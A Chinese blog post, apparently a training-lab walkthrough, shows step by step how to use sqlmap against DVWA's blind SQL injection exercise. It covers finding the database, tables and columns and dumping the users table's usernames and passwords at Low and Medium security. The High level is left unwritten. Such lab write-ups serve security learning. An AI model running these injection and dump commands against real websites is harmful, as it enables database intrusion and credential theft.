Dvwa靶场-SQL Injection (Blind)-基于sqlmap

张开发
2026/6/2 10:51:43 15 分钟阅读
Dvwa靶场-SQL Injection (Blind)-基于sqlmap
一、Low1、获取数据库名sqlmap -u 你的URL --cookie你的Cookie --current-db --current-user --batch-u URL这个url是你主机里的ip如果你的靶场在虚拟机那你就打开虚拟机找到ip然后加端口号和你打开dvwa的sql盲注url差不多只用改前面一点--cookie在dvwa页面-- F12 -- 应用 -- Cookie -- PHPSESSID后面的值--current-db获取当前网站所连接的数据库名称。--current-user获取当前连接数据库的用户名。--batch (Automation)自动模式。SQLmap 在运行中会弹出很多确认选项例如“是否进行深度测试”。加上这个参数后工具将全部选择默认Yes实现无人值守的自动化运行。sqlmap -u http://192.168.136.1:8899/vulnerabilities/sqli_blind/?id1SubmitSubmit# --cookiePHPSESSID2adqjdfiaqk26u1hh84ko162t6; securitylow --current-db --current-user --batch2、获取表名sqlmap -u http://192.168.136.1:8899/vulnerabilities/sqli_blind/?id1SubmitSubmit# --cookiePHPSESSID2adqjdfiaqk26u1hh84ko162t6; securitylow -D dvwa --tables --batch-D 参数用来指定你要查看的具体数据库。--tables获取当前数据库下的表名3、获取列名sqlmap -u http://192.168.136.1:8899/vulnerabilities/sqli_blind/?id1SubmitSubmit# --cookiePHPSESSID2adqjdfiaqk26u1hh84ko162t6; securitylow -D dvwa -T users --columns --batch-T 参数用来指定具体的表名--columns获取指定表的列名4、获取具体数据脱库sqlmap -u http://192.168.136.1:8899/vulnerabilities/sqli_blind/?id1SubmitSubmit# --cookiePHPSESSID2adqjdfiaqk26u1hh84ko162t6; securitylow -D dvwa -T users -C user,password --dump --batch-C 用来指定列名用逗号隔开。如果不指定 -C只用 --dump它会把整张表全部下载下来。二、Mediumsqlmap -u http://192.168.136.1:8899/vulnerabilities/sqli_blind/ \ --cookiePHPSESSID2adqjdfiaqk26u1hh84ko162t6; securitymedium \ --dataid1SubmitSubmit \ --current-db --current-user --batchURL 变化去掉了 URL 问号后面的参数因为中级通过 POST 传参。增加 --data这是关键。--dataid1SubmitSubmit 告诉 sqlmap 模拟表单提交将数据放在 HTTP 请求体中。Cookie 级别确保 securitymedium否则服务器会按照默认或之前的难度处理请求。中级虽然过滤了单引号但 id 参数在 SQL 语句中通常是数字型如 SELECT ... WHERE id $id。sqlmap 会自动识别这一点并尝试数字型注入Numeric-based Injection这种注入方式根本不需要使用单引号因此后端的过滤措施在中级难度下对 sqlmap 基本无效。后面的步骤同Low三、High先欠着有时间想起来这个了再来完善它想不起来就算了

更多文章